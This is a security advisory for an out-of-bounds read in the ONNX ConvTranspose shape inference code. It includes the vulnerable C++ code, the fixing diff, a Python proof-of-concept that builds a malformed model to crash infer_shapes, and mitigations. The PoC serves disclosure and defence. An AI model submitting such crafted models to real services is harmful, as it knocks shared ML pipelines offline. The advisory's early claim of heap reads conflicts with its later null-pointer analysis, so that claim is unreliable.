CVE-2026-115920: Out-of-Bounds Read in ONNX ConvTranspose Shape Inference

Open Neural Network Exchange (ONNX) provides an open-source format and C++ core library for representing machine learning models across frameworks. A critical component of the ONNX library is its shape inference subsystem (onnx.shape_inference.infer_shapes), which statically computes the dimensions of intermediate and output tensors across a computation graph without executing the underlying mathematical operations. Machine learning pipelines, model registries, and inference servers routinely invoke shape inference during model ingestion to validate compatibility and allocate execution buffers.

CVE-2026-115920 (tracked also as GHSA-6pwm-x34p-fvj2) is an out-of-bounds read vulnerability (CWE-125) located in the C++ shape inference implementation for the ConvTranspose (transposed convolution) operator. In ONNX versions from 1.2.1 up to 1.22.0, the functions convTransposeShapeInference(), convTransposeShapeInference_opset11(), and convTransposeShapeInference_opset1() fail to verify the dimensionality (rank) of the weight tensor before attempting to extract spatial kernel dimensions.

When an application processes a malformed ONNX model containing a ConvTranspose node where the weight tensor has a rank strictly less than 3 and the optional kernel_shape attribute is omitted, the inference routine leaves its internal kernel shape vector empty. Subsequent spatial dimension calculations index directly into this empty std::vector without bounds checking. This invalid memory access triggers an immediate segmentation fault (SIGSEGV), terminating the calling Python or C++ process.

The severity of this flaw is compounded by a validation gap in the structural checker (onnx.checker.check_model()). Because the checker does not enforce the minimum rank requirement on the ConvTranspose weight input in several opset configurations, a malformed model passes structural verification intact and reaches the vulnerable shape inference execution path.

According to the formal ONNX operator specification, the ConvTranspose operator requires two primary tensor inputs: the data input tensor $X$ (input 0) and the weight tensor $W$ (input 1). The input tensor $X$ must have a minimum rank of 3, structured as $[N, C_{in}, D_1, D_2, \dots, D_n]$, where $N$ represents the batch size, $C_{in}$ denotes the input channel count, and $D_1 \dots D_n$ define the spatial dimensions. Similarly, the weight tensor $W$ must have a minimum rank of 3, structured as $[C_{in}, M / \text{group}, k_1, k_2, \dots, k_n]$, where $k_1 \dots k_n$ specify the spatial dimensions of the convolution kernel.

The operator also supports an optional integer list attribute named kernel_shape. When a model explicitly defines kernel_shape, the shape inference routine reads $[k_1, k_2, \dots, k_n]$ directly from the node attributes. When a model omits kernel_shape, the shape inference routine must dynamically reconstruct the kernel dimensions by slicing the dimensions of the weight tensor $W$ starting at axis index 2 up to $\text{rank}(W) - 1$.

In vulnerable versions of ONNX, the entry validation inside convTransposeShapeInference checked only whether the data input tensor $X$ had a rank of at least 2 (input_shape.dim_size() < 2), while performing zero rank validation on the weight tensor $W$. When kernel_shape is omitted, the code executes a for loop initialized at int i = 2 with the termination condition i < second_input_shape.dim_size(). If an attacker supplies a weight tensor with a rank of 0, 1, or 2, dim_size() is at most 2, causing the loop condition to evaluate to false on its first iteration.

In the original opset 1 and opset 11 implementations (onnx/defs/nn/old.cc), the post-loop validation check if (kernel_shape.size() != n_input_dims) was absent or bypassed before preparing the effective_kernel_shape vector. Furthermore, across the inference paths, the spatial dimension calculation iterates $n_input_dims$ times (where $n_input_dims = \text{rank}(X) - 2 \ge 1$). On the first iteration ($i = 0$), the code executes effective_kernel_shape[i], invoking std::vector::operator[] on a zero-length vector and reading unallocated or adjacent heap memory.

The vulnerability resides in the C++ operator definition files onnx/defs/nn/defs.cc (handling the current opset) and onnx/defs/nn/old.cc (handling legacy opsets 1 and 11). In the unpatched code, input validation was insufficient to guarantee the invariants required by the spatial dimension calculation loop.

Below is the vulnerable code path prior to commit 2ec288908952eea9dcf48d4b197915e1f72c6abf:

ONNX_API void convTransposeShapeInference(InferenceContext& ctx) {
  // ...
  auto input_shape = ctx.getInputType(0)->tensor_type().shape();
  if (input_shape.dim_size() < 2) {
    return; // Insufficient check: allows rank 2 input, and checks nothing on input 1
  }
 
  size_t n_input_dims = static_cast<size_t>(input_shape.dim_size() - 2);
 
  std::vector<int64_t> kernel_shape;
  if (getRepeatedAttribute(ctx, "kernel_shape", kernel_shape)) {
    if (kernel_shape.size() != n_input_dims) {
      return;
    }
  } else {
    auto second_input_shape = ctx.getInputType(1)->tensor_type().shape();
    // If second_input_shape.dim_size() <= 2, this loop never executes
    for (int i = 2; i < second_input_shape.dim_size(); ++i) {
      if (!second_input_shape.dim(i).has_dim_value()) {
        return;
      }
      kernel_shape.push_back(second_input_shape.dim(i).dim_value());
    }
    // In legacy opsets (old.cc), kernel_shape.size() was not verified against n_input_dims here,
    // leaving effective_kernel_shape empty when entering the spatial loop:
  }
  // ...
  for (int i = 0; i < n_input_dims; ++i) {
    int64_t current_kernel_shape = effective_kernel_shape[i]; // Out-of-bounds read when empty
    // ...
  }
}

Commit 2ec288908952eea9dcf48d4b197915e1f72c6abf (merged via Pull Request #7997) resolves the vulnerability by enforcing strict rank checks on both the input tensor and the weight tensor at the beginning of convTransposeShapeInference, convTransposeShapeInference_opset11, and convTransposeShapeInference_opset1:

--- a/onnx/defs/nn/defs.cc
+++ b/onnx/defs/nn/defs.cc
@@ -1090,8 +1097,16 @@ ONNX_API void convTransposeShapeInference(InferenceContext& ctx) {
   int64_t group = getAttribute(ctx, "group", 1);
 
   auto input_shape = ctx.getInputType(0)->tensor_type().shape();
-  if (input_shape.dim_size() < 2) {
-    return; // Input tensor should have at least two dimensions.
+  if (input_shape.dim_size() < 3) {
+    fail_shape_inference(
+        "Input tensor must have at least 3 dimensions (N x C x D1...Dn). Got: ", input_shape.dim_size());
+  }
+
+  // Weight tensor (input 1) must also have at least 3 dimensions (C x M/group x k1...kn).
+  auto weight_shape = ctx.getInputType(1)->tensor_type().shape();
+  if (weight_shape.dim_size() < 3) {
+    fail_shape_inference(
+        "Weight tensor must have at least 3 dimensions (C x M/group x k1...kn). Got: ", weight_shape.dim_size());
   }

> [!NOTE] > In addition to fixing ConvTranspose, commit 2ec288908952eea9dcf48d4b197915e1f72c6abf hardened the MaxUnpool operator (maxUnpoolShapeInference) by verifying that the indices tensor (input 1) has a rank of at least 2 (indices_shape.dim_size() < 2), preventing an analogous out-of-bounds dimension access.

Replacing silent return statements with fail_shape_inference() ensures that malformed tensor ranks deterministically raise a catchable onnx.shape_inference.InferenceError exception rather than leaving output shapes partially uninitialized or reading past vector boundaries. The fix is complete across all supported opset versions of ConvTranspose.

Exploiting CVE-2026-115920 requires an attacker to supply a crafted .onnx model file (or serialized ModelProto protobuf stream) to a target application that invokes onnx.shape_inference.infer_shapes(). No elevated privileges, user authentication, or complex memory layout grooming are required to trigger the crash.

To construct a proof-of-concept model that bypasses onnx.checker.check_model() and crashes the shape inference engine, an attacker defines a single ConvTranspose node targeting opset 11 (or another affected opset). The data input X is given a valid 3D shape such as [1, 1, 5] (1 batch, 1 channel, 1 spatial dimension of size 5), while the weight input W is assigned a 2D shape such as [1, 3], violating the 3D specification. The kernel_shape attribute is intentionally omitted from the node definition.

import onnx
from onnx import helper, TensorProto
 
def trigger_cve_2026_115920():
    # Construct a ConvTranspose node without the kernel_shape attribute
    node = helper.make_node(
        "ConvTranspose",
        inputs=["X", "W"],
        outputs=["Y"],
        strides=[1]
    )
    
    # Input X has rank 3 ([N, C, D1]), Weight W has rank 2 ([1, 3])
    x_info = helper.make_tensor_value_info("X", TensorProto.FLOAT, [1, 1, 5])
    w_info = helper.make_tensor_value_info("W", TensorProto.FLOAT, [1, 3])
    y_info = helper.make_tensor_value_info("Y", TensorProto.FLOAT, [1, 1, None])
    
    graph = helper.make_graph(
        [node],
        "poc_graph",
        [x_info, w_info],
        [y_info]
    )
    
    model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 11)])
    
    # Structural validation succeeds without error
    onnx.checker.check_model(model)
    
    # Shape inference triggers out-of-bounds read and SIGSEGV on ONNX < 1.22.0
    onnx.shape_inference.infer_shapes(model, strict_mode=True)
 
if __name__ == "__main__":
    trigger_cve_2026_115920()

The equivalent minimal model in ONNX text representation (as added to the official regression test suite in onnx/test/shape_inference_test.py) is:

<ir_version: 8, opset_import: [ "" : 11 ]>
g (float[1,1,5] X, float[1,3] W) => (float[1,1,?] Y) { 
    Y = ConvTranspose(X, W) 
}

When executed against ONNX versions < 1.22.0, the Python interpreter or C++ host binary immediately terminates with an unhandled segmentation fault (SIGSEGV) inside the native onnx_cpp2py_export shared library.

The primary security impact of CVE-2026-115920 is a high-reliability Denial of Service (DoS) against systems that parse, validate, or optimize untrusted ONNX models. Because the out-of-bounds read occurs in native C++ code via an unallocated vector buffer pointer (effective_kernel_shape[0] where the internal data pointer of an empty std::vector is nullptr), dereferencing index 0 attempts to read from virtual memory address 0x0. On all modern operating systems, reading from the zero page triggers an immediate hardware page fault and kernel-enforced process termination (SIGSEGV).

Because the vector is newly initialized on the stack as empty (std::vector<int64_t> effective_kernel_shape;) and never allocated on the heap when the loop is skipped, its internal _M_start pointer is NULL. Consequently, the out-of-bounds read cannot be leveraged to disclose arbitrary heap memory contents to an attacker, nor can it corrupt memory state. This aligns with the CVSS v3.1 assessment of CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (Base Score: 6.2), reflecting zero impact to Confidentiality (C:N) and Integrity (I:N), alongside a High impact to Availability (A:H).

In multi-tenant machine learning platforms, automated MLOps validation pipelines, or cloud model conversion services where user-uploaded ONNX graphs are processed inside shared worker processes, an attacker can repeatedly submit a malformed model to crash backend workers. Relying on onnx.checker.check_model() as a security gate prior to calling infer_shapes() does not protect the service.

The primary remediation is to upgrade the onnx library to version 1.22.0 or later, which incorporates commit 2ec288908952eea9dcf48d4b197915e1f72c6abf and commit 2bb50465112feca9003e1ed654d77f01ff1415ca. Python environments can be updated via pip:

pip install --upgrade "onnx>=1.22.0"

Once upgraded, attempting to run shape inference on a ConvTranspose node with an undersized input or weight tensor will cleanly raise an onnx.shape_inference.InferenceError exception containing the diagnostic message: [ShapeInferenceError] Weight tensor must have at least 3 dimensions (C x M/group x k1...kn). Got: <rank>. Applications processing untrusted models should ensure that calls to onnx.shape_inference.infer_shapes() are wrapped in a try...except onnx.shape_inference.InferenceError block to handle invalid models gracefully.

For environments that cannot immediately upgrade to ONNX 1.22.0, operators should implement a pre-validation pass in Python before invoking infer_shapes(). This filter must inspect the graph topology and verify that every ConvTranspose node references an input and weight tensor with at least 3 dimensions:

def validate_conv_transpose_ranks(model: onnx.ModelProto) -> bool:
    tensor_ranks = {}
    for vi in list(model.graph.input) + list(model.graph.value_info):
        if vi.type.HasField("tensor_type") and vi.type.tensor_type.HasField("shape"):
            tensor_ranks[vi.name] = len(vi.type.tensor_type.shape.dim)
    for init in model.graph.initializer:
        tensor_ranks[init.name] = len(init.dims)
 
    for node in model.graph.node:
        if node.op_type == "ConvTranspose":
            if len(node.input) < 2:
                return False
            x_name, w_name = node.input[0], node.input[1]
            if tensor_ranks.get(x_name, 0) < 3 or tensor_ranks.get(w_name, 0) < 3:
                return False
    return True

Additionally, services ingesting untrusted model files should execute model validation and shape inference inside isolated, ephemeral sandboxes or subprocesses with strict resource limits so that native crashes in C++ extensions do not terminate the primary application server.